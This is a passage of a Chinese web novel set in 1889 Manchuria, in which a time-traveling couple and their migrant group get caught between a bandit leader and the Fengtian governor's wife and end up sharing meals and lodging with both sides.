人少却不意味着安全,未开发的荒野上野兽四伏,沼泽地附近白骨累累,让一行人将警惕心提到最高。 放慢速度走了三天,终于瞧见些许人烟。 一行人敲门借宿,顺带打听点消息。 主人家是从东山省过来的移民,将她们迎进去后热情地烧水上茶。 “这里离奉天城很近了,赶车两天就能到,不过你们进城的时候要注意。” “半年前咱们这附近来了一伙马贼,为首的是个二十多岁的年轻人,咱们都叫‘黑老鸹’,别看年纪不大但心狠手辣,一来就抢了几个庄子,还把庄头给杀了。庄子后头的贵人们悬赏黑老鸹的人头,结果愣是小半年了都没人办成!” 马贼也是土匪,深受其害的一行人听到后不免恨屋及乌。 至于后面主人家说的什么‘劫富济贫’‘义匪’之类的,大家都不咋信。 真有这么好的土匪咋没叫他们遇上?土匪那么好那能叫土匪吗?那叫青天大老爷! 休息一夜,第二天精神满满赶路。 想起昨晚跟借宿主人家唠嗑说的话,温老汉感慨:“其实在奉天落脚也不错,这里官兵多土匪们不敢靠太近,实在不成咱还能躲城里去。” 结果这话刚说没多久,她们一行就碰到了土匪劫车。 当然不是她们的车。 是奉天巡抚家眷的马车。 而且劫车的土匪还是个熟人,耳熟的熟人,人称黑老鸹的马贼头头郭朝宗。 两方人马对峙,把前头的路堵得严严实实的。 第42章 第42章1889从闯关东开始1…… 进城的路只有这么一条,温苒这边浩浩荡荡二十来人猝不及防就闯进了土匪打劫的现场。 要问温苒为什么知道两拨人的身份,盖是因为她们到的太巧,赶上了开场对话。 巡抚家眷的侍卫喝道:“区区马贼也敢劫我家夫人的车?睁大你们的狗眼,这是堂堂奉天巡抚家眷的马车!” 对面十几个马贼骑在高头大马上,闻言一阵哄笑。 其中一个指着为首的他们老大,“睁大你的狗眼,我们大当家行不更名坐不改姓,老鸹山黑老鸹郭朝宗是也!” 就在这时,哒哒哒的蹄子声闯进来。 对峙的两拨人齐齐扭头,温苒一行人彻底暴露,真是想退也退不了。 温苒脑筋飞快转动思考脱身之法,静了片刻后,巡抚家的侍卫发话问道:“尔等是何人?” 这机会不就来了? 温苒扯扯霍骁北袖子,霍骁北高声回道:“回这位大人的话,我们是闯关东的百姓。” 侍卫表情愤慨:“尔等可是要往奉天城去!尔等可知我们原是护卫奉天巡抚大人的家眷回城,却被一群毛贼拦堵在这里,实在可恶!” “我观尔等皆是好汉,留下来助我们一臂之力,日后在巡抚大人面前我定会为尔等美言几句!” 温苒和霍骁北:她们这是被当成傻子了…… 温苒在心里默念不气不气,但耳边回荡着那个侍卫用高高在上的语气一口一个‘尔等’,真想拿刀抽他两嘴巴子。 温苒身旁一行人后知后觉反应过来,温老汉低声问宋守言:“他是不是想咱替他们出头?” 宋守言紧皱着眉,依他瞧今天这茬儿不好过。 “应该是,但咱们别轻举妄动,听听小苒和骁北咋说。” 侍卫几乎于明晃晃把算盘打出来了,登时引得对面贼首黑老鸹的狗腿子噗嗤一笑,笑声里是毫不加掩饰的嘲讽: “咋地?你美言几句就想人家替你拼命?我看你家巡抚大人也别当巡抚了,换你当才合适!” 侍卫恼羞成怒,“你!你们!” 马车里传来一声女子的呵斥:“赵侍卫你退下!” 侍卫不甘不愿退下,却又听女声道:“赵侍卫,不要把与你我不相干的百姓牵扯进来。” 听见这话,黑老鸹的狗腿子贱兮兮地再次嘲讽:“看看!看看!还是咱们正经巡抚大人的夫人体恤老百姓,知道不能把不相干的人牵扯进来,倒是你们下头的小喽啰一个个惯会在外头狐假虎威!” 侍卫恼怒得涨红了脸,瞪大的两眼都冒出了火星子,却碍于夫人的命令不敢出声。 狗腿子见了更加得意。 马车上的帘子被掀起来,威严的女声徐徐道:“本夫人知郭相公乃义士之首,从不为难平民百姓,既如此可否让路给后面一行百姓,不必为你我之事叨扰无关人等?” 年轻的郭义士终于启声:“自然。” 然后一方十来匹马被‘义士’们驱赶着到了路旁,而巡抚夫人的马车以及一干仆从也退至同一侧。 温苒看看这个看看那个,眼珠滴溜溜转了一圈,琢磨着可能真遇上‘好人’了吧? 她看向赶车的温老汉,“爷爷,那咱们走吧。” 除了温老汉和宋守言,其他男人都自觉下车走在两侧,不动声色地护着车上的同伴。 骡车哒哒哒驶向前方,路过马车时,帘子动了动,和温苒靠得最近的钱小菊身体瞬间绷直。 温苒察觉到什么,心道果然。 哪有什么大好人,不过是换种方式利用她们罢了。 骡车驶过马队,温苒肩膀上孙小菊靠过来的力气渐渐加重。 孙小菊本来就是三个姑娘里胆子最小的,迄今为止这一路没和队伍里的男人说过一句话,包括还是个孩子的林大厨的孙子林菘。 温苒反手握住她,从她手上拿走一卷纸条。 孙小菊如释重负般松了口气。 却在这时,一道嗓音不容拒绝地砸过来:“站住!” 孙小菊猛地一颤,温苒抬眸望向声音的主人,是马贼的首领黑老鸹,一个络腮大胡子的男人。 他一发话,狗腿子应声驱马上前堵住骡车的路,随后扬起马鞭指着温苒一行,面上带笑,口吻却十分强势:“把东西交出来吧!” 马车上的帘子动了动,一双眼睛紧张地注视着外面的情况。 温苒身旁,所有人脑海中警铃大作,身体绷紧,下意识靠近车上存放大刀的位置。 见她们这反应,以黑老鸹为首的几个马贼忽然感觉哪里不对劲。 普通老百姓见到土匪哪个不是战战兢兢?见到当官的还是巡抚这样的大官官眷更是跪地就拜,怎么这一伙就这么淡定呢? 这不正常啊! 温苒当然也觉出了自己这边的不对劲,心下欣慰的同时又有些懊悔。 见过的世面多遇到事是不慌了,但也不能一点儿都不慌啊,好歹演一演也行! 温苒给霍骁北使眼神让他想办法找补找补,霍骁北:“……” 如果霍骁北是旁边的马贼,他最一开始就会发觉自己这边的异常。 沉默中,车上的巡抚夫人又说话了:“郭义士是要食言,不欲放过这些百姓?” 黑老鸹挥了下马鞭,瞥向骡车那一行的眼风凌厉,冷笑:“我只说会放过普通百姓,可没说会放过帮徐夫人传信的人!” 温苒攥了攥手指,掌心的纸条存在感是那么明显。 这什么徐夫人想得挺美,把纸条扔出来让她们传信,就没想过万一被发现她们会是什么下场? 也没想过就算传信成功,她自己是得救了,回头她们被这群马贼惦记上怎么办? 那个侍卫把心思摆在明面上,想用巡抚没影的感激让她们去拼命。 这位夫人也是半斤八两,用她的身份做诱饵,但凡换一群急功近利攀权附贵的人,她的计策也就成了。 可惜要让她失望了。 温苒不打算送信,因为不想得罪这群马贼。 但温苒也不想得罪这位巡抚夫人,毕竟民不与官斗,所以她也不会把纸条交出去。 黑老鸹夹马上前,一群马贼又将路堵得严严实实。 他的狗腿子放话:“要么你们原路返回!要么就留下来交出手上的东西!” 温苒:“……” 反正不管哪个选择,她们是进不了城了对吧? 骡车上下的人纷纷看向温苒和霍骁北。 温苒抬了抬下巴,“爷爷,我们去那边下车歇息,快晌午了正好吃个饭。” 温苒手指道路一侧的小树林,视线远眺,穿过小树林后还有一条小溪,埋锅搭灶很是合适。 于是在两方人马的注视下,小小的骡车带着一群人缓缓驶向了小树林。 车上的人下来,井然有序地取水生火,俨然是在为午饭做准备。 一众人:“……” 若说原本还有些怀疑,现下就连巡抚夫人也瞧出来了,这群人好似不是普通老百姓。 而在小树林里忙活的一行,并不像那边两拨人心中所想一般淡定。 温苒没有真让林大厨带大家生火烧饭,只是烧了锅热水蒸饼子,埋了几个番薯,凑合着垫垫肚子而已。 她同时叮嘱大家:“都打起精神来,小心戒备,把刀放在手边以防万一。” 万一那边没谈拢,黑老鸹想灭口,或是巡抚夫人让侍卫反击,而不安好心的侍卫想要祸水东引,总不能临到头她们才着急忙慌应对吧? 不管发生什么,到时候就一条:孩子和老人上车,其他人拿刀突围出去。 啃着没滋味的野菜饼子,温苒盘算了许多可能,却独独没料到,那边两拨人一起朝她们这边过来了。 黑老鸹手下的人上前,就是先前拦路的年轻人,笑嘻嘻道:“我们也要在此地歇息片刻,出来得急没带干粮,想同你们买一些。” “你们放心,等你们一起去了老鸹山,吃了你们多少我们大当家给多少!” 什么意思? 要带她们一起去老鸹山? 埋头啃饼子的众人反应过来愤而起身,同时手摸向了腰侧的大刀。 周凯一把将野菜饼塞嘴里,唰一下抽出大刀。 他之后,刷刷刷,就连两个孩子都抽出了小巧的匕首,一时间小小的树林里寒风吹过冷光四射。 这阵仗把买粮的马贼都给吓一跳,接连后退了几大步。 他着急忙慌摸向腰侧,抽出马鞭甩来甩去,“你你你们想做什么?我告诉你们!我们老大可是黑老鸹!我们可是马贼!” 只不过软趴趴的马鞭和寒光湛湛的二十来把大刀比起来,不论做什么说什么都更像是虚张声势。 这边大刀一亮,那边刚下了马的马贼们飞速翻身上马,骑着马围上来。 巡抚夫人的马车上,帘子半掀起来,一名年轻女子眼睛发亮,激动地看向身侧,“额娘,你看我们要不要让侍卫过去帮忙?” 巡抚夫人沉吟片刻,摇头:“再看看情况。” 她吩咐贴身婢女,“芸香,去吩咐赵侍卫让他们不要轻举妄动。” 温苒这边,一群人被十几匹马包围。 可真要细说,一方只有马和寥寥几把卷刃的大刀,另一方虽然没有马但那大刀瞧着就不是凡品。 为首的络腮胡子开口道:“在下黑老鸹,姓郭,郭朝宗,想必各位来奉天这一路应当听过我的名号。” 他说着,目光落在包围圈中最后姗姗立起来的一对男女身上,尤其是那名男子,身形挺拔一瞧就是不凡。 男子也就是霍骁北,他没回应,最先吭声的是一直笨嘴拙舌的温一茂温二哥。 他粗声粗气回道:“知道!黑老鸹,老鸹山的土匪,他们都说你是义匪,劫富济贫从不坑害老百姓,我看不尽然!” 温苒:“……” 就说她这二哥,平时看着憨憨的,关键时候没有哪次掉过链子。 郭朝宗噎了噎,没有解释他的质疑,而是笑着提出疑问:“可郭某观诸位不似一般百姓。” “不惧土匪,不畏官眷,还有这样铸造精良的大刀,莫非也是同道中人?” 温大哥怒了,“你才是土匪!” 他平生最恨土匪,要不是沙麻金那些人,他们何至于背井离乡一路颠沛流离至此! 郭朝宗:“……” 瞧你说的,他们是土匪这件事在场人有谁还不清楚吗? 温苒无奈扶额,扯了扯霍骁北袖子让他赶紧说话。 霍骁北朗声道:“不知者无畏,刀是路上买的,确实是好刀。” 见他终于说话了,郭朝宗拱手回道:“这位兄弟不凡,敢问阁下姓名?” 霍骁北:“霍,霍骁北。” 郭朝宗:“好名字!” 温苒:“……” 你俩还寒暄上了? 霍骁北接收到媳妇儿的指示,说道:“多谢夸奖,我们只是来关外求生的老百姓。” 郭朝宗挑眉,就这群人又是骡车又是大刀,一般百姓可没有这家底。 霍骁北微微侧身,听温苒同他说悄悄话。 温苒:“我们恐怕必须要去一趟老鸹山,郭朝宗和巡抚都不好得罪。” 霍骁北点头,“我观这伙马贼确实不似滥杀之辈,想必不会有生命危险。” 接着马车里旁观的母女两个遗憾地发现,双方收起武器握手言和了。 林大厨重新起锅烧水,这次准备做点正式的,焖一锅面,煮一桶野菜鱼汤。 先前被吓破胆的年轻马贼董文斌急躁地围着灶台乱转,“太香了这也太香了,老叔什么时候能好啊?” 林长福心说这小子真是一点不见外,嘴上回道:“快了快了,叫你们兄弟过来排队吧。” 另一边温苒拽着霍骁北蹲在河边假装钓鱼,不时回头瞥一眼人群观察情况。 温苒撑着下巴思考,“你说郭朝宗绑架巡抚家眷是因为什么?勒索吗?” 霍骁北甩下鱼钩,随口道:“求药。” 温苒蹭地扭头,瞪他:“你知道你不早说?” 霍骁北拦住她报复的手包在自己手心,眼底含笑:“偶然听到的,我并不确定,待会儿吃饭我向郭朝宗打听打听。” 温苒鼓腮冷哼,“那你可要打听清楚。” 霍骁北提起钓竿解下一条鱼,“巡抚夫人那里我们许是已经得罪了。” 温苒疑惑,“嗯?为什么?明明我们什么都没做?” 霍骁北又解下一条鱼,点出来:“因为我们什么都没做。” 温苒:“……” 温苒一惊,飞快摸摸兜里的纸条,不敢置信:“不能吧?难道非得我们跪地就拜誓死效命才行吗?可我们只是普通老百姓啊!” 霍骁北措辞一番,同她解释:“她丈夫是巡抚,是官,她是官眷,宋叔提醒我,官和民是两个阶级。” 这对生长在红旗下的两人来说,是完全无法理解的。 阶级之上才是人,阶级之下如草芥刍狗,不值一提。 第43章 第43章1889从闯关东开始1…… 这么多人一锅焖面是指定不够吃的。 温苒让人从骡车里搬下两袋十斤的二掺面粉,和面烙饼吃。 林大厨把十几个马贼支使得团团转,烧水捡柴揉面,瞧着很是威风。 其他人先啃野菜饼,后又吃了焖面,吃饱喝足就去骡车上休息了,只留了几个年轻人在林大厨那里帮忙。 温苒饼没吃两口,中间又出了场风波,早就饿坏了。 大锅饭还要等,霍骁北另起小灶,给她炒菜蒸饭。 温苒搬了小马扎坐在他身边,捧着医书默背。 技能是个好东西,但作为补偿只能在这个世界使用,她只好尽量能学多少是多少。 霍骁北用野菜炒了盘腊肉,炒莴笋、野葱炒鸡蛋和肉末粉条,还拿白糖拌了西红柿。 最后是柴火焖出来的砂锅米饭,米粒松散晶莹剔透稻香扑鼻。 骡车旁打瞌睡的一行人懒懒地掀起眼皮,温老汉从鼻子里哼出声来,就知道是这臭小子哄他小孙女呢。 温二哥哐哐揉着面,闻着饭菜香味忍不住畅想,等饭馆开起来他应该能顿顿吃上妹夫做的饭菜了吧? 苦哈哈揉面的土匪们也馋得发慌,一个个手上动作着,脖子却够得老长。 郭朝宗把面团一丢扔给狗腿子董文斌,“你接着揉,我去找霍兄弟聊聊天。” 董文斌:“……” 他瞪着自家老大迫不及待的背影,用力捶打着面团,表情因发狠扭曲,心说我看你就是馋了! 一旁不远处,被一撮马贼围着的巡抚家眷落脚的位置,干巴巴啃着点心就热水的大小姐也被这香气勾起了馋虫,忍不住眼巴巴看向巡抚夫人,“额娘!” 徐夫人该说不说,也有点馋,她吩咐侍女:“芸香,你前去问问。” 饭菜上桌,腾出锅灶后,霍骁北用钓上来的新鲜江鱼熬了锅鱼汤。 郭朝宗真是不客气,扒拉把草叶垫屁股下头,端坐在小桌一边,“霍老弟,给我也来副碗筷。” 后来的侍女芸香见此脚步顿了顿,硬着头皮过来,“温娘子,可否请娘子下厨为我家夫人小姐做几道菜?” 温苒懵懵地抬起脑袋,“我?我不会做饭,这是我相公做的。” 听见这话芸娘也懵了下,啊?温娘子竟不会做饭? 回神后她忙要开口,却听温苒道:“正好这些饭菜我们还没动筷,不介意的话你可以拨出一部分给你家夫人小姐。” 芸娘:“……” 芸娘面色复杂地回去拿碗端碟,身为巡抚夫人最倚重的大丫鬟,她头一次在提出要求后得到这么离谱的回答。 温苒可不这么认为,她甚至觉得自己的安排挺好。 灶和锅都占着呢,再另炒多麻烦,反正荒郊野外四周还都是马贼,这条件有热饭热汤就不错了。 至于得罪巡抚夫人的下场,不是已经得罪了吗?不差这一点半点。 温苒都想开了,她还能用这个理由带一帮老小南下去上海呢。 芸娘带着碗碟回来,还有饭菜的报酬,十枚银元和一木盒的点心。 点心就算了,十枚银元? 温苒眼神很好使。 嗯,还是清廷最新铸币发行的七三番板,七钱三分重,比洋元重一分,换算成当十铜板就是七百三十个。 十个银元就是七两三钱! 不会是买命钱吧? 温苒不想接,也不大想做这个买卖了。 等着开饭的郭朝宗却忍不了了,“接着啊!十块大洋呢!” 见温苒不接,他一把夺过来拍桌上,“行了你赶紧走,别打扰本少爷吃饭。” 芸香敢怒不敢言,带着饭菜麻溜转身走了。 郭朝宗满意地拿起筷子,还没伸出去呢就被拽走,那拽走他筷子的黑脸娘子还瞪着他冲他大吼:“这里不欢迎你!带着你的钱走!” 郭朝宗:“?” 他转身想告状,结果就见他一见如故的霍老弟端走了属于他的饭碗。 不是你们俩也太欺负人了吧? 霍骁北正好也不想有外人打扰他和媳妇儿的午餐,赶人赶得那叫一个翻脸无情。 “没准备你的饭,桶里还有几条鱼,送你了。” 郭朝宗懂了,郭朝宗沉默了,郭朝宗屈服了。 他眼巴巴看着腊肉和鸡蛋,狂咽口水,“我错了。” 温苒冷哼。 郭朝宗抬起头,搓着手脸上露出谄媚的笑,“弟妹,你说,只要能让我吃口饭,除了杀人放火我指定都给你办到!” 碗里落下霍骁北夹来的鸡蛋,温苒连同米饭扒拉满口,她是真的饿了。 不紧不慢细嚼慢咽下去,温苒才回道:“你去把钱还回去,那些点心就够付饭菜的钱了。” 郭朝宗二话不说,抓起银元就朝巡抚夫人落脚的地方去了。 温苒瞥了眼他大步流星的身影,转头问霍骁北:“刚才你听到没有,这人还是个大少爷?” 当然也可能是人家的口癖,就像‘本大爷’‘老子’‘你爷爷’之类的。 霍骁北咽下饭菜,“他年纪看起来也不大。” 就是忒埋汰忒寒碜,胡子埋了半张脸,吃个饭落在胡子上的估计能喂饱一只猫了。 马车附近,母女两个正在用午膳,就见郭朝宗气势汹汹前来,吓了众人一跳,侍卫们纷纷站起来抽刀。 结果郭朝宗只是来还钱的,“我弟妹说那盒点心就够饭菜的钱了,不用另给。” 徐夫人先是为他口中称呼的‘弟妹’一惊,才道:“不单是这次午膳,之后在你们山里的饭菜,我都想请温娘子负责,朝宗你说呢?” 分明应该是针锋相对的两人才对,可徐夫人话语中的熟稔却让人出乎意料。 郭朝宗想了想,“那我替她拿一个。” 走了两步他折返回来,“事先说好,霍老弟做什么徐夫人就吃什么。” 徐夫人面不改色十分好脾气地点头,“自然。” 郭朝宗离开后,年轻小姐仰头望着她娘,“额娘?” 徐夫人叹气,“荣秀,他就是我同你父亲先前提到过的,你父亲恩师的外孙,谷碑县郭家的大少爷。” 荣秀惊讶地捂住嘴,“那他、他……” 徐夫人点头,“十三年时,他父亲因在任上大力禁烟,一家老小被放火烧死。” 郭朝宗带着一枚银元和饭菜订单回来,成功吃上了有鱼有肉有蛋的丰盛午饭。 “霍老弟你这手艺开个酒楼绝对能日进斗金!” 温苒实在不想听他叭叭,太聒噪了。 她没好气道:“食不言!” 谁知这话一出,郭朝宗突然就愣住了,整个人一动不动好像被点住穴 道一般。 温苒放下碗筷,伸手在他眼前晃了晃。 没想到这人突然诈尸,抬手就抓过来! 温苒连忙缩回胳膊,同时身体被带进霍骁北怀里,余光瞥见他擒住郭朝宗的手臂,一拉一送再一拧,郭朝宗趴在桌上疼得直叫唤。 就是这样了,他还不忘护着他的饭碗。 温苒:“……” 听到动静郭朝宗的手下伸着脖子看过来,见老大被这么对待,几个性子急的撸起袖子就要冲上前。 郭朝宗从自己胳膊底下瞧见,忙放话:“揉你们的面!不许偷懒!” 已经冲出七八米的好些人听见这话,不情不愿折回去砰砰摔打着面团,眼神时刻注意着这边的情况。 霍骁北松开郭朝宗,语气冷冷:“再动手动脚就滚!” 郭朝宗龇牙咧嘴地揉着手臂,随口解释:“我那时下意识地动作,不是故意的。” 他一点没生气,反而眼睛放着光,紧紧盯着霍骁北,很是得意道:“我就说我眼光一向厉害,霍老弟这一手果真不是普通人!” 鱼汤烧好,霍骁北给温苒盛了一碗,才冷声回他:“杀猪练成的。” 郭朝宗:“……” 郭朝宗连忙端碗拨菜往嘴里扒,一边看他一边嘴里含糊不清地问:“我听说杀猪之前都给吃饱饭的?” 这下轮到温苒和霍骁北无语了,你一个土匪头头至于馋成这样吗? 温苒看一圈这几个菜,也就分量多油水足了些,加上霍骁北的手艺确实非常好,但不是野菜就是野葱的真不算什么稀罕东西。 遥想不久前在山上土匪窝里,沙麻金那一伙才叫吃得丰盛,海货山货鸡鸭鱼肉火腿白面应有尽有。 一起吃了顿饭,温苒和霍骁北对黑老鸹郭朝宗也有了些了解。 这人别看在外的名头唬人,实际相处却很平易近人,为人爽朗豪放。 霍骁北旁敲侧击他绑架巡抚夫人的目的,郭朝宗直接道:“前不久抢一个庄子的时候,我们一伙的兄弟中了箭,箭口深带倒刺看过的大夫都说拔不出来。” 温苒问:“你想让巡抚帮你找医术更好的大夫拔箭?” 郭朝宗摇头,“不是,拔箭找洋人大夫就行,只是缺西药,他现在已经有了感染的症状。” 温苒若有所思,拉着霍骁北去一旁商量。 “我想试试。”她道。 霍骁北点头,“那我去跟郭朝宗讲。” 温苒却拦住他,“别!” 霍骁北退回来,温苒说道:“不找他,找巡抚夫人。” 直接找郭朝宗和通过巡抚夫人找郭朝宗,其中的含义可是完全不同。 前者意味着温苒医治成功后郭朝宗欠她人情,而后者却是巡抚夫人和郭朝宗两个人情! 先前的不作为或许已经在巡抚夫人面前留下了坏印象,温苒此番是打算多少挽回一些。 民不与官斗是几千年封建社会总结下来的真理,她可不想切身验证一遍。 然而意料之外的是,温苒还没去拜访这位夫人,这位夫人的侍女就先来请她了。 芸香笑眯眯道:“温娘子,我家夫人想请娘子过去说话,还望娘子赏光。” 第44章 第44章1889从闯关东开始1…… 这个巡抚夫人是怎么个意思,温苒急需有人帮她参谋参谋。 她借口称喝水,拉着霍骁北小跑到骡车旁,晃醒了打瞌睡的宋守言,在对方幽怨的眼神中三言两语说明白来意。 听到巡抚夫人请她过去说话,宋守言来了劲头,嘬着烟斗嘴眼睛炯炯有神。 “小苒啊,咱们往后在奉天的安稳日子可就靠你了!” 温苒:“?” 咱们马上就要被土匪带走了,您做什么美梦呢? 瞥到芸香在一旁等着,宋守言不敢多耽搁,快速同她们夫妻俩解释:“这可是巡抚夫人!奉天巡抚,这地界的二把手,如果有这么一个靠山,你们在城里开医馆饭馆就再不用担心有不长眼的来吃拿卡要。” 一帮年纪不大的姑娘小子,真当生意是好做的吗? 历来做生意都得找个靠山上供,要么是官要么是地头蛇,黑白两道总得沾一个,否则且等着天天有麻烦上门吧! 宋守言的话很有道理,温苒却不抱什么希望。 先不说之前没帮忙就已经得罪了人家,后来人家买饭她用那点饭菜就打发了…… 温苒眼神发着飘,跟那位叫芸香的大丫鬟上了巡抚夫人的马车。 霍骁北在附近等着她,有个意外她嗷一嗓子他就能第一时间赶过去。 马车里。 更出乎温苒预料的是巡抚夫人的态度,好得不正常。 徐夫人嘴角挂着温和端庄的笑容,“冒昧请温娘子前来,只是我们母女想同温娘子说说话打发时间。” 荣秀倒茶推到温苒面前,好奇地盯着她黑黢黢的脸蛋瞧,“温娘子请用。” 茶水清亮透底,升腾着氤氲水汽。 温苒垂眸,莫名地心中越发忐忑了。 她礼貌道谢,端起茶水轻抿一小口,还不错。 紧接着,温苒手边就被推来一盘点心,她抬眼一看是那位小姐。 温苒小脸上的表情还端得住,但心里咕嘟咕嘟冒出了许多问号。 这态度未免过于殷勤,难道她们是想拉拢自己? 温苒不得不多个心眼儿,霍骁北说得对,这是封建社会,官是官民是民,没有人民公仆这一说,官和民是彻彻底底的两个阶级。 她脑海里的想法一会儿一个,殊不知徐夫人和荣秀真的只是单纯想找她说话聊天,当然聊天的同时打听打听温苒一行的底细也是必须的。 在徐夫人看来,郭朝宗最开始的猜测八成是对的。 温娘子这一伙不是什么普通百姓,而是土匪。 那一车的大刀就是证据! 温娘子相公轻而易举擒住郭朝宗的身手也是证据! 温娘子在她们母女面前坦然自若更是证据! 要知道,即便同样是官员家眷也有高低之分,徐夫人在盛京将军夫人跟前也要客气礼让小心对待。 可看温娘子,该吃吃该喝喝,这是一个普通百姓能有的气度反应吗? 相比较徐夫人层出不穷的想法,荣秀就简单多了,她只觉得温娘子很不一般,但要说哪里不一般她却也说不出来。 荣秀拧着手帕面有愧色,“温娘子,刚才的事情是我自作主张,连累你们了。” 温苒反应了两秒,哦,扔纸条的事啊。 她从兜里掏出来,“对了,这个还给你们。” 荣秀感激地接过来,“多谢温娘子!” 温苒心思飞转,她虽然对找巡抚夫人当靠山不抱希望,却也不希望得罪这位夫人。 先前因为土匪一行人仓皇离开老家,总不能这次又因为得罪巡抚,没待两天就再次出逃避祸吧? 温苒是挺愿意,耐不住另外十几人老的老小的小,一路上就盼着在这边落脚过好日子呢。 趁这次机会,她多少想描补一下自己在徐夫人眼里的形象。 温苒硬着头皮扯起了谎,“夫、夫人,荣秀小姐,刚才没帮上忙,实在对不住……” 她结结巴巴,目光闪烁,黢黑的脸蛋浮现出红晕。 了解她的如霍骁北,她起个话头就知道她在撒谎。 不了解的如眼前这对母女,只会以为温苒是在为没有帮到她们真心愧疚。 荣秀大为感动,一把抓住温苒快拧成麻花的手,“温娘子快别这样说,你们也只是普通百姓……” 她不由自主卡了下壳,眼前浮现出一群人手持大刀的凶悍画面,然后沉默了。 可回过神看到的就是温娘子水盈盈的大眼睛,什么大刀什么凶悍,荣秀只知道温娘子是个好 人。 她接着话继续说:“温娘子一行初来乍到,谨慎些才是明智之举。” 到这个地步就相当于说开了。 凭温苒的直觉,这母女二人对她没什么敌意,没有因为她们袖手旁观而记恨在心。 换言之,她们其实没得罪人家。 好嘛,这是真遇上明事理的好人了。 既如此温苒就彻底放心,也放开了跟母女两人聊天。 当然她始终记得自己的目的,有意无意地引导话题,透露自己会医术而且医术还不错,随意讲的护肤技巧保养妙招跟不要钱一样。 本来只有温苒和荣秀两个年纪相仿的聊,后来连徐夫人也加入进来。 灌了一肚子茶,温苒临走时还被塞了几样点心。 总的来说,这次见面还算不错。 午休后,三拨人浩浩荡荡地开拔动身,前往老鸹山。 董文斌骑着马前后乱窜,到骡车旁时他速度慢下来,马鞭指着一个方向:“前面就是老鸹山的地界了,山下有个村子,咱们就在村子里落脚。” 沿着小路缓缓进入村子,大片广袤的农田映入眼帘。 正是春耕时节,一望无际的开阔田地好似披了层绿纱。 日暮西垂,雾霭冥冥。 长长的队伍自田间道路穿行而过。 骡车上,众人面带欣喜。 赶车的温老汉心不在焉,瞅瞅这边的庄稼再瞅瞅那边的庄稼,眼睛都快不够使了。 二伯温向平忍不住道:“这庄稼长得真不错,回头咱也置个几垧地,等收成了白面大米管够,想吃多少吃多少!” 村外是一眼望不到头的田地,村里人家却不多,一排房子只有几间的烟囱冒着烟儿。 来到山脚下几间房,走在最后的郭朝宗翻身下马,走到前面来。 “徐夫人,这几日就委屈您在此处落脚了。” 侍卫们护着马车里的主子进了一间院子,董文斌立刻把院门关上,让自己人守在门口。 郭朝宗接着转身朝骡车走过来,抱胸倚在车上,抬起下巴点了点一排房子,口气豪迈:“挑一间,都是空的,随便住。” 温一荣皱眉,“这么多房子都是你们抢来的?” 董文斌一拳锤在他肩上,“说什么呢你小子?这是闯关东回老家的村民留下来的,我们可不干抢老百姓东西的勾当!” 闻言温一荣面上缓和些许,只是神情依旧冷峻。 他嗤笑:“不抢东西你们吃什么?” 董文斌又锤了他一拳,“嘿你小子,我们有手有脚有房有地,大鱼大肉吃不上,还能缺了口饭不成?” 温苒这边大家都听愣了。 啥? 有房有地? 苍了天了,你一个土匪有房有地你还自个儿种地? “你们不抢不偷的自己种地吃饭还叫啥土匪啊?” 宋守言直接问出来。 董文斌挠头,脸上犯了难,不知道该怎么解释,回头求助老大。 郭朝宗推着他脑袋让他起开,对温苒等人道:“快挑一间,挑好了收拾收拾,这个点咱是不是该吃饭了?” 说到最后,他的眼神飘向了霍骁北。 霍骁北面无表情,“晚上吃鱼。” 温苒溜达了几处房子,随手指向一间,大家忙活着卸下行李,把骡车赶进院子。 温老汉打发大儿子儿媳去割草喂骡子,他背着手进了屋里,转一圈出来道:“里头好长时间没住人灰落了有我脚底板那么厚,咱别麻烦了,还是在院里搭帐篷吧。” 大家又纷纷动起来搭帐篷。 郭朝宗让董文斌去搬粮食,他自己混在院里,跟那个身边瞧一瞧,跟这个身边问一问。 帐篷一拿出来郭朝宗眼睛都直了,凑近了摸一摸捻一捻,两眼放光,“嚯!这是搁洋人手里弄来的好东西吧?” 他自己就找好了理由,霍骁北铺好被褥钻出来,“嗯。” 郭朝宗摸着下巴,目光在数顶帐篷和温苒两人身上来回转动,“这些帐篷和你们手里的刀没有几百大洋恐怕不行吧?” 温苒表情古怪,“你问这个做什么你又买不起!” 郭朝宗:“……” 郭朝宗摸着鼻子讪笑,“我做做梦。” 他叹着气摸了摸自己腰间卷刃的大刀,是真羡慕啊! 搭好帐篷,所有人就忙起了晚饭。 院里有现成的灶台,林大厨烧了两大锅豆腐炖鱼,贴棒子面饼子,另外给隔壁的夫人小姐弄了几个小炒菜。 天色黑透了,大家三三两两围在一起,借着蜡烛的光吃完了饭。 吃完董文斌他们抢着刷锅刷碗,忙完了还追到火堆旁,拉着取暖的林大厨追问明早吃啥。 好不容易有个落脚的地方,温苒安排大家轮流烧水擦洗,身为大夫她绝不能让自己的队伍里出现卫生问题。 逗留在此的郭朝宗注意到温苒瞥来的眼神,他没看错的话,那视线里带着浓浓的嫌弃。 郭朝宗嘴角抽搐,你脸黑成那样了你嫌弃我?我都没嫌弃你有碍观瞻呢! 董文斌过来喊他回家休息,郭朝宗摇头,“我今儿在这边睡,你们不用管我。” 董文斌指着那些帐篷,“老大,那帐篷那么小那么薄一顶,连风都挡不住,住一晚你当心得风寒,要不要我给你多抱几床被子?” 不用郭朝宗答应,董文斌风风火火抗来几床厚实的被褥,“放哪个里头?” 火堆旁众人抬头看过来,郭朝宗随机揪住一个,“那个温娘子的二哥,我今晚跟你挤一顶帐篷!” 温一茂:“?” 温一茂不满地皱起脸,“我们帐篷人满了,住不下。” 郭朝宗就跟听不懂人话一样,“没事,几个大男人挤一挤就行,还更暖和!” 他起身走到帐篷堆里,“是这个吧?斌子你把被褥放这里头。” 属实没想到堂堂义匪首领黑老鸹是这么个蹬鼻子上脸看不懂眼色的人! 温一茂拒绝不成,把自己气着了,后果就是温苒从隔壁母女那里带回来的糕点全进了他的肚子。 夜里,温苒翻来覆去地睡不着,干脆坐起来,“霍骁北,我总觉得事情有些古怪。” 霍骁北跟着起来,给她披上外套,“哪里?” 温苒皱着眉,“今天和巡抚夫人见面,我以为她会说服我一起对付郭朝宗,可她提都没提,后面聊天也是全都在说衣服首饰保养。” 这合理吗? 第45章 第45章1889从闯关东开始1…… 就算她是巡抚夫人,可也不至于如此有恃无恐,何况还有她女儿在,可她们母女看起来一点都不担心会受到伤害。 温苒苦思冥想,“你说会不会徐夫人表现得这么配合只是为了麻痹郭朝宗,她打算在今晚行动?” 至于中午找自己聊天那回事,温苒猜测也是徐夫人故意为之,是计划通过自己之口向郭朝宗透露她没有逃跑的意思。 温苒越想越觉得这种可能性非常大。 